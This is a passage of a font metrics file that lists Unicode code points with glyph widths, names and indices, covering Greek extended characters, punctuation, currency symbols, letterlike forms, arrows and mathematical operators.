U 8125 ; WX 500 ; N uni1FBD ; G 2480
U 8126 ; WX 500 ; N uni1FBE ; G 2481
U 8127 ; WX 500 ; N uni1FBF ; G 2482
U 8128 ; WX 500 ; N uni1FC0 ; G 2483
U 8129 ; WX 500 ; N uni1FC1 ; G 2484
U 8130 ; WX 712 ; N uni1FC2 ; G 2485
U 8131 ; WX 712 ; N uni1FC3 ; G 2486
U 8132 ; WX 712 ; N uni1FC4 ; G 2487
U 8134 ; WX 712 ; N uni1FC6 ; G 2488
U 8135 ; WX 712 ; N uni1FC7 ; G 2489
U 8136 ; WX 929 ; N uni1FC8 ; G 2490
U 8137 ; WX 846 ; N uni1FC9 ; G 2491
U 8138 ; WX 1080 ; N uni1FCA ; G 2492
U 8139 ; WX 1009 ; N uni1FCB ; G 2493
U 8140 ; WX 837 ; N uni1FCC ; G 2494
U 8141 ; WX 500 ; N uni1FCD ; G 2495
U 8142 ; WX 500 ; N uni1FCE ; G 2496
U 8143 ; WX 500 ; N uni1FCF ; G 2497
U 8144 ; WX 390 ; N uni1FD0 ; G 2498
U 8145 ; WX 390 ; N uni1FD1 ; G 2499
U 8146 ; WX 390 ; N uni1FD2 ; G 2500
U 8147 ; WX 390 ; N uni1FD3 ; G 2501
U 8150 ; WX 390 ; N uni1FD6 ; G 2502
U 8151 ; WX 390 ; N uni1FD7 ; G 2503
U 8152 ; WX 372 ; N uni1FD8 ; G 2504
U 8153 ; WX 372 ; N uni1FD9 ; G 2505
U 8154 ; WX 621 ; N uni1FDA ; G 2506
U 8155 ; WX 563 ; N uni1FDB ; G 2507
U 8157 ; WX 500 ; N uni1FDD ; G 2508
U 8158 ; WX 500 ; N uni1FDE ; G 2509
U 8159 ; WX 500 ; N uni1FDF ; G 2510
U 8160 ; WX 675 ; N uni1FE0 ; G 2511
U 8161 ; WX 675 ; N uni1FE1 ; G 2512
U 8162 ; WX 675 ; N uni1FE2 ; G 2513
U 8163 ; WX 675 ; N uni1FE3 ; G 2514
U 8164 ; WX 716 ; N uni1FE4 ; G 2515
U 8165 ; WX 716 ; N uni1FE5 ; G 2516
U 8166 ; WX 675 ; N uni1FE6 ; G 2517
U 8167 ; WX 675 ; N uni1FE7 ; G 2518
U 8168 ; WX 724 ; N uni1FE8 ; G 2519
U 8169 ; WX 724 ; N uni1FE9 ; G 2520
U 8170 ; WX 1020 ; N uni1FEA ; G 2521
U 8171 ; WX 980 ; N uni1FEB ; G 2522
U 8172 ; WX 838 ; N uni1FEC ; G 2523
U 8173 ; WX 500 ; N uni1FED ; G 2524
U 8174 ; WX 500 ; N uni1FEE ; G 2525
U 8175 ; WX 500 ; N uni1FEF ; G 2526
U 8178 ; WX 869 ; N uni1FF2 ; G 2527
U 8179 ; WX 869 ; N uni1FF3 ; G 2528
U 8180 ; WX 869 ; N uni1FF4 ; G 2529
U 8182 ; WX 869 ; N uni1FF6 ; G 2530
U 8183 ; WX 869 ; N uni1FF7 ; G 2531
U 8184 ; WX 1065 ; N uni1FF8 ; G 2532
U 8185 ; WX 891 ; N uni1FF9 ; G 2533
U 8186 ; WX 1084 ; N uni1FFA ; G 2534
U 8187 ; WX 894 ; N uni1FFB ; G 2535
U 8188 ; WX 850 ; N uni1FFC ; G 2536
U 8189 ; WX 500 ; N uni1FFD ; G 2537
U 8190 ; WX 500 ; N uni1FFE ; G 2538
U 8192 ; WX 500 ; N uni2000 ; G 2539
U 8193 ; WX 1000 ; N uni2001 ; G 2540
U 8194 ; WX 500 ; N uni2002 ; G 2541
U 8195 ; WX 1000 ; N uni2003 ; G 2542
U 8196 ; WX 330 ; N uni2004 ; G 2543
U 8197 ; WX 250 ; N uni2005 ; G 2544
U 8198 ; WX 167 ; N uni2006 ; G 2545
U 8199 ; WX 696 ; N uni2007 ; G 2546
U 8200 ; WX 380 ; N uni2008 ; G 2547
U 8201 ; WX 200 ; N uni2009 ; G 2548
U 8202 ; WX 100 ; N uni200A ; G 2549
U 8203 ; WX 0 ; N uni200B ; G 2550
U 8204 ; WX 0 ; N uni200C ; G 2551
U 8205 ; WX 0 ; N uni200D ; G 2552
U 8206 ; WX 0 ; N uni200E ; G 2553
U 8207 ; WX 0 ; N uni200F ; G 2554
U 8208 ; WX 415 ; N uni2010 ; G 2555
U 8209 ; WX 415 ; N uni2011 ; G 2556
U 8210 ; WX 696 ; N figuredash ; G 2557
U 8211 ; WX 500 ; N endash ; G 2558
U 8212 ; WX 1000 ; N emdash ; G 2559
U 8213 ; WX 1000 ; N uni2015 ; G 2560
U 8214 ; WX 500 ; N uni2016 ; G 2561
U 8215 ; WX 500 ; N underscoredbl ; G 2562
U 8216 ; WX 380 ; N quoteleft ; G 2563
U 8217 ; WX 380 ; N quoteright ; G 2564
U 8218 ; WX 380 ; N quotesinglbase ; G 2565
U 8219 ; WX 380 ; N quotereversed ; G 2566
U 8220 ; WX 644 ; N quotedblleft ; G 2567
U 8221 ; WX 644 ; N quotedblright ; G 2568
U 8222 ; WX 644 ; N quotedblbase ; G 2569
U 8223 ; WX 657 ; N uni201F ; G 2570
U 8224 ; WX 500 ; N dagger ; G 2571
U 8225 ; WX 500 ; N daggerdbl ; G 2572
U 8226 ; WX 639 ; N bullet ; G 2573
U 8227 ; WX 639 ; N uni2023 ; G 2574
U 8228 ; WX 380 ; N onedotenleader ; G 2575
U 8229 ; WX 685 ; N twodotenleader ; G 2576
U 8230 ; WX 1000 ; N ellipsis ; G 2577
U 8231 ; WX 348 ; N uni2027 ; G 2578
U 8232 ; WX 0 ; N uni2028 ; G 2579
U 8233 ; WX 0 ; N uni2029 ; G 2580
U 8234 ; WX 0 ; N uni202A ; G 2581
U 8235 ; WX 0 ; N uni202B ; G 2582
U 8236 ; WX 0 ; N uni202C ; G 2583
U 8237 ; WX 0 ; N uni202D ; G 2584
U 8238 ; WX 0 ; N uni202E ; G 2585
U 8239 ; WX 200 ; N uni202F ; G 2586
U 8240 ; WX 1454 ; N perthousand ; G 2587
U 8241 ; WX 1908 ; N uni2031 ; G 2588
U 8242 ; WX 264 ; N minute ; G 2589
U 8243 ; WX 447 ; N second ; G 2590
U 8244 ; WX 630 ; N uni2034 ; G 2591
U 8245 ; WX 264 ; N uni2035 ; G 2592
U 8246 ; WX 447 ; N uni2036 ; G 2593
U 8247 ; WX 630 ; N uni2037 ; G 2594
U 8248 ; WX 733 ; N uni2038 ; G 2595
U 8249 ; WX 412 ; N guilsinglleft ; G 2596
U 8250 ; WX 412 ; N guilsinglright ; G 2597
U 8251 ; WX 972 ; N uni203B ; G 2598
U 8252 ; WX 627 ; N exclamdbl ; G 2599
U 8253 ; WX 580 ; N uni203D ; G 2600
U 8254 ; WX 500 ; N uni203E ; G 2601
U 8255 ; WX 828 ; N uni203F ; G 2602
U 8256 ; WX 828 ; N uni2040 ; G 2603
U 8257 ; WX 329 ; N uni2041 ; G 2604
U 8258 ; WX 1023 ; N uni2042 ; G 2605
U 8259 ; WX 500 ; N uni2043 ; G 2606
U 8260 ; WX 167 ; N fraction ; G 2607
U 8261 ; WX 457 ; N uni2045 ; G 2608
U 8262 ; WX 457 ; N uni2046 ; G 2609
U 8263 ; WX 1030 ; N uni2047 ; G 2610
U 8264 ; WX 829 ; N uni2048 ; G 2611
U 8265 ; WX 829 ; N uni2049 ; G 2612
U 8266 ; WX 513 ; N uni204A ; G 2613
U 8267 ; WX 687 ; N uni204B ; G 2614
U 8268 ; WX 500 ; N uni204C ; G 2615
U 8269 ; WX 500 ; N uni204D ; G 2616
U 8270 ; WX 523 ; N uni204E ; G 2617
U 8271 ; WX 400 ; N uni204F ; G 2618
U 8272 ; WX 828 ; N uni2050 ; G 2619
U 8273 ; WX 523 ; N uni2051 ; G 2620
U 8274 ; WX 556 ; N uni2052 ; G 2621
U 8275 ; WX 838 ; N uni2053 ; G 2622
U 8276 ; WX 828 ; N uni2054 ; G 2623
U 8277 ; WX 838 ; N uni2055 ; G 2624
U 8278 ; WX 684 ; N uni2056 ; G 2625
U 8279 ; WX 813 ; N uni2057 ; G 2626
U 8280 ; WX 838 ; N uni2058 ; G 2627
U 8281 ; WX 838 ; N uni2059 ; G 2628
U 8282 ; WX 380 ; N uni205A ; G 2629
U 8283 ; WX 872 ; N uni205B ; G 2630
U 8284 ; WX 838 ; N uni205C ; G 2631
U 8285 ; WX 380 ; N uni205D ; G 2632
U 8286 ; WX 380 ; N uni205E ; G 2633
U 8287 ; WX 222 ; N uni205F ; G 2634
U 8288 ; WX 0 ; N uni2060 ; G 2635
U 8289 ; WX 0 ; N uni2061 ; G 2636
U 8290 ; WX 0 ; N uni2062 ; G 2637
U 8291 ; WX 0 ; N uni2063 ; G 2638
U 8292 ; WX 0 ; N uni2064 ; G 2639
U 8298 ; WX 0 ; N uni206A ; G 2640
U 8299 ; WX 0 ; N uni206B ; G 2641
U 8300 ; WX 0 ; N uni206C ; G 2642
U 8301 ; WX 0 ; N uni206D ; G 2643
U 8302 ; WX 0 ; N uni206E ; G 2644
U 8303 ; WX 0 ; N uni206F ; G 2645
U 8304 ; WX 438 ; N uni2070 ; G 2646
U 8305 ; WX 219 ; N uni2071 ; G 2647
U 8308 ; WX 438 ; N uni2074 ; G 2648
U 8309 ; WX 438 ; N uni2075 ; G 2649
U 8310 ; WX 438 ; N uni2076 ; G 2650
U 8311 ; WX 438 ; N uni2077 ; G 2651
U 8312 ; WX 438 ; N uni2078 ; G 2652
U 8313 ; WX 438 ; N uni2079 ; G 2653
U 8314 ; WX 528 ; N uni207A ; G 2654
U 8315 ; WX 528 ; N uni207B ; G 2655
U 8316 ; WX 528 ; N uni207C ; G 2656
U 8317 ; WX 288 ; N uni207D ; G 2657
U 8318 ; WX 288 ; N uni207E ; G 2658
U 8319 ; WX 456 ; N uni207F ; G 2659
U 8320 ; WX 438 ; N uni2080 ; G 2660
U 8321 ; WX 438 ; N uni2081 ; G 2661
U 8322 ; WX 438 ; N uni2082 ; G 2662
U 8323 ; WX 438 ; N uni2083 ; G 2663
U 8324 ; WX 438 ; N uni2084 ; G 2664
U 8325 ; WX 438 ; N uni2085 ; G 2665
U 8326 ; WX 438 ; N uni2086 ; G 2666
U 8327 ; WX 438 ; N uni2087 ; G 2667
U 8328 ; WX 438 ; N uni2088 ; G 2668
U 8329 ; WX 438 ; N uni2089 ; G 2669
U 8330 ; WX 528 ; N uni208A ; G 2670
U 8331 ; WX 528 ; N uni208B ; G 2671
U 8332 ; WX 528 ; N uni208C ; G 2672
U 8333 ; WX 288 ; N uni208D ; G 2673
U 8334 ; WX 288 ; N uni208E ; G 2674
U 8336 ; WX 458 ; N uni2090 ; G 2675
U 8337 ; WX 479 ; N uni2091 ; G 2676
U 8338 ; WX 488 ; N uni2092 ; G 2677
U 8339 ; WX 413 ; N uni2093 ; G 2678
U 8340 ; WX 479 ; N uni2094 ; G 2679
U 8341 ; WX 456 ; N uni2095 ; G 2680
U 8342 ; WX 487 ; N uni2096 ; G 2681
U 8343 ; WX 219 ; N uni2097 ; G 2682
U 8344 ; WX 664 ; N uni2098 ; G 2683
U 8345 ; WX 456 ; N uni2099 ; G 2684
U 8346 ; WX 479 ; N uni209A ; G 2685
U 8347 ; WX 381 ; N uni209B ; G 2686
U 8348 ; WX 388 ; N uni209C ; G 2687
U 8352 ; WX 929 ; N uni20A0 ; G 2688
U 8353 ; WX 696 ; N colonmonetary ; G 2689
U 8354 ; WX 696 ; N uni20A2 ; G 2690
U 8355 ; WX 696 ; N franc ; G 2691
U 8356 ; WX 696 ; N lira ; G 2692
U 8357 ; WX 1042 ; N uni20A5 ; G 2693
U 8358 ; WX 696 ; N uni20A6 ; G 2694
U 8359 ; WX 1488 ; N peseta ; G 2695
U 8360 ; WX 1205 ; N uni20A8 ; G 2696
U 8361 ; WX 1103 ; N uni20A9 ; G 2697
U 8362 ; WX 854 ; N uni20AA ; G 2698
U 8363 ; WX 696 ; N dong ; G 2699
U 8364 ; WX 696 ; N Euro ; G 2700
U 8365 ; WX 696 ; N uni20AD ; G 2701
U 8366 ; WX 696 ; N uni20AE ; G 2702
U 8367 ; WX 1392 ; N uni20AF ; G 2703
U 8368 ; WX 696 ; N uni20B0 ; G 2704
U 8369 ; WX 696 ; N uni20B1 ; G 2705
U 8370 ; WX 696 ; N uni20B2 ; G 2706
U 8371 ; WX 696 ; N uni20B3 ; G 2707
U 8372 ; WX 859 ; N uni20B4 ; G 2708
U 8373 ; WX 696 ; N uni20B5 ; G 2709
U 8376 ; WX 696 ; N uni20B8 ; G 2710
U 8377 ; WX 696 ; N uni20B9 ; G 2711
U 8378 ; WX 696 ; N uni20BA ; G 2712
U 8381 ; WX 696 ; N uni20BD ; G 2713
U 8400 ; WX 0 ; N uni20D0 ; G 2714
U 8401 ; WX 0 ; N uni20D1 ; G 2715
U 8406 ; WX 0 ; N uni20D6 ; G 2716
U 8407 ; WX 0 ; N uni20D7 ; G 2717
U 8411 ; WX 0 ; N uni20DB ; G 2718
U 8412 ; WX 0 ; N uni20DC ; G 2719
U 8417 ; WX 0 ; N uni20E1 ; G 2720
U 8448 ; WX 1106 ; N uni2100 ; G 2721
U 8449 ; WX 1106 ; N uni2101 ; G 2722
U 8450 ; WX 734 ; N uni2102 ; G 2723
U 8451 ; WX 1211 ; N uni2103 ; G 2724
U 8452 ; WX 896 ; N uni2104 ; G 2725
U 8453 ; WX 1114 ; N uni2105 ; G 2726
U 8454 ; WX 1148 ; N uni2106 ; G 2727
U 8455 ; WX 696 ; N uni2107 ; G 2728
U 8456 ; WX 698 ; N uni2108 ; G 2729
U 8457 ; WX 952 ; N uni2109 ; G 2730
U 8459 ; WX 1073 ; N uni210B ; G 2731
U 8460 ; WX 913 ; N uni210C ; G 2732
U 8461 ; WX 888 ; N uni210D ; G 2733
U 8462 ; WX 712 ; N uni210E ; G 2734
U 8463 ; WX 712 ; N uni210F ; G 2735
U 8464 ; WX 597 ; N uni2110 ; G 2736
U 8465 ; WX 697 ; N Ifraktur ; G 2737
U 8466 ; WX 856 ; N uni2112 ; G 2738
U 8467 ; WX 472 ; N uni2113 ; G 2739
U 8468 ; WX 974 ; N uni2114 ; G 2740
U 8469 ; WX 837 ; N uni2115 ; G 2741
U 8470 ; WX 1203 ; N uni2116 ; G 2742
U 8471 ; WX 1000 ; N uni2117 ; G 2743
U 8472 ; WX 697 ; N weierstrass ; G 2744
U 8473 ; WX 750 ; N uni2119 ; G 2745
U 8474 ; WX 850 ; N uni211A ; G 2746
U 8475 ; WX 938 ; N uni211B ; G 2747
U 8476 ; WX 814 ; N Rfraktur ; G 2748
U 8477 ; WX 801 ; N uni211D ; G 2749
U 8478 ; WX 896 ; N prescription ; G 2750
U 8479 ; WX 710 ; N uni211F ; G 2751
U 8480 ; WX 1020 ; N uni2120 ; G 2752
U 8481 ; WX 1239 ; N uni2121 ; G 2753
U 8482 ; WX 1000 ; N trademark ; G 2754
U 8483 ; WX 834 ; N uni2123 ; G 2755
U 8484 ; WX 754 ; N uni2124 ; G 2756
U 8485 ; WX 622 ; N uni2125 ; G 2757
U 8486 ; WX 850 ; N uni2126 ; G 2758
U 8487 ; WX 769 ; N uni2127 ; G 2759
U 8488 ; WX 763 ; N uni2128 ; G 2760
U 8489 ; WX 303 ; N uni2129 ; G 2761
U 8490 ; WX 775 ; N uni212A ; G 2762
U 8491 ; WX 774 ; N uni212B ; G 2763
U 8492 ; WX 928 ; N uni212C ; G 2764
U 8493 ; WX 818 ; N uni212D ; G 2765
U 8494 ; WX 854 ; N estimated ; G 2766
U 8495 ; WX 636 ; N uni212F ; G 2767
U 8496 ; WX 729 ; N uni2130 ; G 2768
U 8497 ; WX 808 ; N uni2131 ; G 2769
U 8498 ; WX 683 ; N uni2132 ; G 2770
U 8499 ; WX 1184 ; N uni2133 ; G 2771
U 8500 ; WX 465 ; N uni2134 ; G 2772
U 8501 ; WX 794 ; N aleph ; G 2773
U 8502 ; WX 731 ; N uni2136 ; G 2774
U 8503 ; WX 494 ; N uni2137 ; G 2775
U 8504 ; WX 684 ; N uni2138 ; G 2776
U 8505 ; WX 380 ; N uni2139 ; G 2777
U 8506 ; WX 945 ; N uni213A ; G 2778
U 8507 ; WX 1370 ; N uni213B ; G 2779
U 8508 ; WX 790 ; N uni213C ; G 2780
U 8509 ; WX 737 ; N uni213D ; G 2781
U 8510 ; WX 654 ; N uni213E ; G 2782
U 8511 ; WX 863 ; N uni213F ; G 2783
U 8512 ; WX 840 ; N uni2140 ; G 2784
U 8513 ; WX 786 ; N uni2141 ; G 2785
U 8514 ; WX 576 ; N uni2142 ; G 2786
U 8515 ; WX 637 ; N uni2143 ; G 2787
U 8516 ; WX 760 ; N uni2144 ; G 2788
U 8517 ; WX 830 ; N uni2145 ; G 2789
U 8518 ; WX 716 ; N uni2146 ; G 2790
U 8519 ; WX 678 ; N uni2147 ; G 2791
U 8520 ; WX 343 ; N uni2148 ; G 2792
U 8521 ; WX 343 ; N uni2149 ; G 2793
U 8523 ; WX 872 ; N uni214B ; G 2794
U 8526 ; WX 547 ; N uni214E ; G 2795
U 8528 ; WX 1035 ; N uni2150 ; G 2796
U 8529 ; WX 1035 ; N uni2151 ; G 2797
U 8530 ; WX 1483 ; N uni2152 ; G 2798
U 8531 ; WX 1035 ; N onethird ; G 2799
U 8532 ; WX 1035 ; N twothirds ; G 2800
U 8533 ; WX 1035 ; N uni2155 ; G 2801
U 8534 ; WX 1035 ; N uni2156 ; G 2802
U 8535 ; WX 1035 ; N uni2157 ; G 2803
U 8536 ; WX 1035 ; N uni2158 ; G 2804
U 8537 ; WX 1035 ; N uni2159 ; G 2805
U 8538 ; WX 1035 ; N uni215A ; G 2806
U 8539 ; WX 1035 ; N oneeighth ; G 2807
U 8540 ; WX 1035 ; N threeeighths ; G 2808
U 8541 ; WX 1035 ; N fiveeighths ; G 2809
U 8542 ; WX 1035 ; N seveneighths ; G 2810
U 8543 ; WX 615 ; N uni215F ; G 2811
U 8544 ; WX 372 ; N uni2160 ; G 2812
U 8545 ; WX 659 ; N uni2161 ; G 2813
U 8546 ; WX 945 ; N uni2162 ; G 2814
U 8547 ; WX 1099 ; N uni2163 ; G 2815
U 8548 ; WX 774 ; N uni2164 ; G 2816
U 8549 ; WX 1099 ; N uni2165 ; G 2817
U 8550 ; WX 1386 ; N uni2166 ; G 2818
U 8551 ; WX 1672 ; N uni2167 ; G 2819
U 8552 ; WX 1121 ; N uni2168 ; G 2820
U 8553 ; WX 771 ; N uni2169 ; G 2821
U 8554 ; WX 1120 ; N uni216A ; G 2822
U 8555 ; WX 1407 ; N uni216B ; G 2823
U 8556 ; WX 637 ; N uni216C ; G 2824
U 8557 ; WX 734 ; N uni216D ; G 2825
U 8558 ; WX 830 ; N uni216E ; G 2826
U 8559 ; WX 995 ; N uni216F ; G 2827
U 8560 ; WX 343 ; N uni2170 ; G 2828
U 8561 ; WX 607 ; N uni2171 ; G 2829
U 8562 ; WX 872 ; N uni2172 ; G 2830
U 8563 ; WX 984 ; N uni2173 ; G 2831
U 8564 ; WX 652 ; N uni2174 ; G 2832
U 8565 ; WX 962 ; N uni2175 ; G 2833
U 8566 ; WX 1227 ; N uni2176 ; G 2834
U 8567 ; WX 1491 ; N uni2177 ; G 2835
U 8568 ; WX 969 ; N uni2178 ; G 2836
U 8569 ; WX 645 ; N uni2179 ; G 2837
U 8570 ; WX 969 ; N uni217A ; G 2838
U 8571 ; WX 1233 ; N uni217B ; G 2839
U 8572 ; WX 343 ; N uni217C ; G 2840
U 8573 ; WX 593 ; N uni217D ; G 2841
U 8574 ; WX 716 ; N uni217E ; G 2842
U 8575 ; WX 1042 ; N uni217F ; G 2843
U 8576 ; WX 1289 ; N uni2180 ; G 2844
U 8577 ; WX 830 ; N uni2181 ; G 2845
U 8578 ; WX 1289 ; N uni2182 ; G 2846
U 8579 ; WX 734 ; N uni2183 ; G 2847
U 8580 ; WX 593 ; N uni2184 ; G 2848
U 8581 ; WX 734 ; N uni2185 ; G 2849
U 8585 ; WX 1035 ; N uni2189 ; G 2850
U 8592 ; WX 838 ; N arrowleft ; G 2851
U 8593 ; WX 838 ; N arrowup ; G 2852
U 8594 ; WX 838 ; N arrowright ; G 2853
U 8595 ; WX 838 ; N arrowdown ; G 2854
U 8596 ; WX 838 ; N arrowboth ; G 2855
U 8597 ; WX 838 ; N arrowupdn ; G 2856
U 8598 ; WX 838 ; N uni2196 ; G 2857
U 8599 ; WX 838 ; N uni2197 ; G 2858
U 8600 ; WX 838 ; N uni2198 ; G 2859
U 8601 ; WX 838 ; N uni2199 ; G 2860
U 8602 ; WX 838 ; N uni219A ; G 2861
U 8603 ; WX 838 ; N uni219B ; G 2862
U 8604 ; WX 838 ; N uni219C ; G 2863
U 8605 ; WX 838 ; N uni219D ; G 2864
U 8606 ; WX 838 ; N uni219E ; G 2865
U 8607 ; WX 838 ; N uni219F ; G 2866
U 8608 ; WX 838 ; N uni21A0 ; G 2867
U 8609 ; WX 838 ; N uni21A1 ; G 2868
U 8610 ; WX 838 ; N uni21A2 ; G 2869
U 8611 ; WX 838 ; N uni21A3 ; G 2870
U 8612 ; WX 838 ; N uni21A4 ; G 2871
U 8613 ; WX 838 ; N uni21A5 ; G 2872
U 8614 ; WX 838 ; N uni21A6 ; G 2873
U 8615 ; WX 838 ; N uni21A7 ; G 2874
U 8616 ; WX 838 ; N arrowupdnbse ; G 2875
U 8617 ; WX 838 ; N uni21A9 ; G 2876
U 8618 ; WX 838 ; N uni21AA ; G 2877
U 8619 ; WX 838 ; N uni21AB ; G 2878
U 8620 ; WX 838 ; N uni21AC ; G 2879
U 8621 ; WX 838 ; N uni21AD ; G 2880
U 8622 ; WX 838 ; N uni21AE ; G 2881
U 8623 ; WX 838 ; N uni21AF ; G 2882
U 8624 ; WX 838 ; N uni21B0 ; G 2883
U 8625 ; WX 838 ; N uni21B1 ; G 2884
U 8626 ; WX 838 ; N uni21B2 ; G 2885
U 8627 ; WX 838 ; N uni21B3 ; G 2886
U 8628 ; WX 838 ; N uni21B4 ; G 2887
U 8629 ; WX 838 ; N carriagereturn ; G 2888
U 8630 ; WX 838 ; N uni21B6 ; G 2889
U 8631 ; WX 838 ; N uni21B7 ; G 2890
U 8632 ; WX 838 ; N uni21B8 ; G 2891
U 8633 ; WX 838 ; N uni21B9 ; G 2892
U 8634 ; WX 838 ; N uni21BA ; G 2893
U 8635 ; WX 838 ; N uni21BB ; G 2894
U 8636 ; WX 838 ; N uni21BC ; G 2895
U 8637 ; WX 838 ; N uni21BD ; G 2896
U 8638 ; WX 838 ; N uni21BE ; G 2897
U 8639 ; WX 838 ; N uni21BF ; G 2898
U 8640 ; WX 838 ; N uni21C0 ; G 2899
U 8641 ; WX 838 ; N uni21C1 ; G 2900
U 8642 ; WX 838 ; N uni21C2 ; G 2901
U 8643 ; WX 838 ; N uni21C3 ; G 2902
U 8644 ; WX 838 ; N uni21C4 ; G 2903
U 8645 ; WX 838 ; N uni21C5 ; G 2904
U 8646 ; WX 838 ; N uni21C6 ; G 2905
U 8647 ; WX 838 ; N uni21C7 ; G 2906
U 8648 ; WX 838 ; N uni21C8 ; G 2907
U 8649 ; WX 838 ; N uni21C9 ; G 2908
U 8650 ; WX 838 ; N uni21CA ; G 2909
U 8651 ; WX 838 ; N uni21CB ; G 2910
U 8652 ; WX 838 ; N uni21CC ; G 2911
U 8653 ; WX 838 ; N uni21CD ; G 2912
U 8654 ; WX 838 ; N uni21CE ; G 2913
U 8655 ; WX 838 ; N uni21CF ; G 2914
U 8656 ; WX 838 ; N arrowdblleft ; G 2915
U 8657 ; WX 838 ; N arrowdblup ; G 2916
U 8658 ; WX 838 ; N arrowdblright ; G 2917
U 8659 ; WX 838 ; N arrowdbldown ; G 2918
U 8660 ; WX 838 ; N arrowdblboth ; G 2919
U 8661 ; WX 838 ; N uni21D5 ; G 2920
U 8662 ; WX 838 ; N uni21D6 ; G 2921
U 8663 ; WX 838 ; N uni21D7 ; G 2922
U 8664 ; WX 838 ; N uni21D8 ; G 2923
U 8665 ; WX 838 ; N uni21D9 ; G 2924
U 8666 ; WX 838 ; N uni21DA ; G 2925
U 8667 ; WX 838 ; N uni21DB ; G 2926
U 8668 ; WX 838 ; N uni21DC ; G 2927
U 8669 ; WX 838 ; N uni21DD ; G 2928
U 8670 ; WX 838 ; N uni21DE ; G 2929
U 8671 ; WX 838 ; N uni21DF ; G 2930
U 8672 ; WX 838 ; N uni21E0 ; G 2931
U 8673 ; WX 838 ; N uni21E1 ; G 2932
U 8674 ; WX 838 ; N uni21E2 ; G 2933
U 8675 ; WX 838 ; N uni21E3 ; G 2934
U 8676 ; WX 838 ; N uni21E4 ; G 2935
U 8677 ; WX 838 ; N uni21E5 ; G 2936
U 8678 ; WX 838 ; N uni21E6 ; G 2937
U 8679 ; WX 838 ; N uni21E7 ; G 2938
U 8680 ; WX 838 ; N uni21E8 ; G 2939
U 8681 ; WX 838 ; N uni21E9 ; G 2940
U 8682 ; WX 838 ; N uni21EA ; G 2941
U 8683 ; WX 838 ; N uni21EB ; G 2942
U 8684 ; WX 838 ; N uni21EC ; G 2943
U 8685 ; WX 838 ; N uni21ED ; G 2944
U 8686 ; WX 838 ; N uni21EE ; G 2945
U 8687 ; WX 838 ; N uni21EF ; G 2946
U 8688 ; WX 838 ; N uni21F0 ; G 2947
U 8689 ; WX 838 ; N uni21F1 ; G 2948
U 8690 ; WX 838 ; N uni21F2 ; G 2949
U 8691 ; WX 838 ; N uni21F3 ; G 2950
U 8692 ; WX 838 ; N uni21F4 ; G 2951
U 8693 ; WX 838 ; N uni21F5 ; G 2952
U 8694 ; WX 838 ; N uni21F6 ; G 2953
U 8695 ; WX 838 ; N uni21F7 ; G 2954
U 8696 ; WX 838 ; N uni21F8 ; G 2955
U 8697 ; WX 838 ; N uni21F9 ; G 2956
U 8698 ; WX 838 ; N uni21FA ; G 2957
U 8699 ; WX 838 ; N uni21FB ; G 2958
U 8700 ; WX 838 ; N uni21FC ; G 2959
U 8701 ; WX 838 ; N uni21FD ; G 2960
U 8702 ; WX 838 ; N uni21FE ; G 2961
U 8703 ; WX 838 ; N uni21FF ; G 2962
U 8704 ; WX 774 ; N universal ; G 2963
U 8705 ; WX 696 ; N uni2201 ; G 2964
U 8706 ; WX 544 ; N partialdiff ; G 2965
U 8707 ; WX 683 ; N existential ; G 2966
U 8708 ; WX 683 ; N uni2204 ; G 2967
U 8709 ; WX 856 ; N emptyset ; G 2968
U 8710 ; WX 697 ; N increment ; G 2969
U 8711 ; WX 697 ; N gradient ; G 2970
U 8712 ; WX 896 ; N element ; G 2971
U 8713 ; WX 896 ; N notelement ; G 2972
U 8714 ; WX 750 ; N uni220A ; G 2973
U 8715 ; WX 896 ; N suchthat ; G 2974
U 8716 ; WX 896 ; N uni220C ; G 2975
U 8717 ; WX 750 ; N uni220D ; G 2976
U 8718 ; WX 636 ; N uni220E ; G 2977
U 8719 ; WX 787 ; N product ; G 2978
U 8720 ; WX 787 ; N uni2210 ; G 2979
U 8721 ; WX 718 ; N summation ; G 2980
U 8722 ; WX 838 ; N minus ; G 2981
U 8723 ; WX 838 ; N uni2213 ; G 2982
U 8724 ; WX 696 ; N uni2214 ; G 2983
U 8725 ; WX 365 ; N uni2215 ; G 2984
U 8726 ; WX 696 ; N uni2216 ; G 2985
U 8727 ; WX 838 ; N asteriskmath ; G 2986
U 8728 ; WX 626 ; N uni2218 ; G 2987
U 8729 ; WX 380 ; N uni2219 ; G 2988
U 8730 ; WX 667 ; N radical ; G 2989
U 8731 ; WX 667 ; N uni221B ; G 2990
U 8732 ; WX 667 ; N uni221C ; G 2991
U 8733 ; WX 712 ; N proportional ; G 2992
U 8734 ; WX 833 ; N infinity ; G 2993
U 8735 ; WX 838 ; N orthogonal ; G 2994
U 8736 ; WX 896 ; N angle ; G 2995
U 8737 ; WX 896 ; N uni2221 ; G 2996
U 8738 ; WX 838 ; N uni2222 ; G 2997
U 8739 ; WX 500 ; N uni2223 ; G 2998
U 8740 ; WX 500 ; N uni2224 ; G 2999
U 8741 ; WX 500 ; N uni2225 ; G 3000
U 8742 ; WX 500 ; N uni2226 ; G 3001
U 8743 ; WX 812 ; N logicaland ; G 3002
U 8744 ; WX 812 ; N logicalor ; G 3003
U 8745 ; WX 812 ; N intersection ; G 3004
U 8746 ; WX 812 ; N union ; G 3005
U 8747 ; WX 610 ; N integral ; G 3006
U 8748 ; WX 929 ; N uni222C ; G 3007
U 8749 ; WX 1295 ; N uni222D ; G 3008
U 8750 ; WX 563 ; N uni222E ; G 3009
U 8751 ; WX 977 ; N uni222F ; G 3010
U 8752 ; WX 1313 ; N uni2230 ; G 3011
U 8753 ; WX 563 ; N uni2231 ; G 3012
U 8754 ; WX 563 ; N uni2232 ; G 3013
U 8755 ; WX 563 ; N uni2233 ; G 3014
U 8756 ; WX 696 ; N therefore ; G 3015
U 8757 ; WX 696 ; N uni2235 ; G 3016
U 8758 ; WX 294 ; N uni2236 ; G 3017
U 8759 ; WX 696 ; N uni2237 ; G 3018
U 8760 ; WX 838 ; N uni2238 ; G 3019
U 8761 ; WX 838 ; N uni2239 ; G 3020
U 8762 ; WX 838 ; N uni223A ; G 3021
U 8763 ; WX 838 ; N uni223B ; G 3022
U 8764 ; WX 838 ; N similar ; G 3023
U 8765 ; WX 838 ; N uni223D ; G 3024
U 8766 ; WX 838 ; N uni223E ; G 3025
U 8767 ; WX 838 ; N uni223F ; G 3026
U 8768 ; WX 375 ; N uni2240 ; G 3027
U 8769 ; WX 838 ; N uni2241 ; G 3028
U 8770 ; WX 838 ; N uni2242 ; G 3029
U 8771 ; WX 838 ; N uni2243 ; G 3030
U 8772 ; WX 838 ; N uni2244 ; G 3031
U 8773 ; WX 838 ; N congruent ; G 3032
